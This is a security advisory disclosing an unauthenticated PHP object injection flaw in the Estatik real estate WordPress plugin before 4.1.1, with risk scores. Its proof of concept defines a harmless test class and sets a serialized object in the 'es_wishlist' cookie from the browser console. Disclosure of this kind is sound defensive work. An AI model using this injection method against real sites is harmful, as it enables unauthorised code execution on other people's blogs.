Estatik Real Estate Plugin < 4.1.1 - Unauthenticated PHP Object Injection

2023-12-2500:00:00

Krzysztof Zając (CERT PL)

estatik

real estate

unauthenticated access

php object injection

gadget chain

plugin vulnerability

arbitrary deserialization

7.2 High

AI Score

Confidence

Low

0.003 Low

EPSS

Percentile

69.7%

JSON

Description The plugin unserializes user input via some of its cookies, which could allow unauthenticated users to perform PHP Object Injection when a suitable gadget chain is present on the blog

To simulate a gadget chain, put the following code in a plugin:
class Evil {
    public function __wakeup() : void {
        die("Arbitrary deserialization");
    }
}

Then, run the below command in the developer console of the web browser while being on the blog as unauthenticated and reload the page to see the Arbitrary deserialization message.

document.cookie='es_wishlist=O:4:"Evil":0:{}'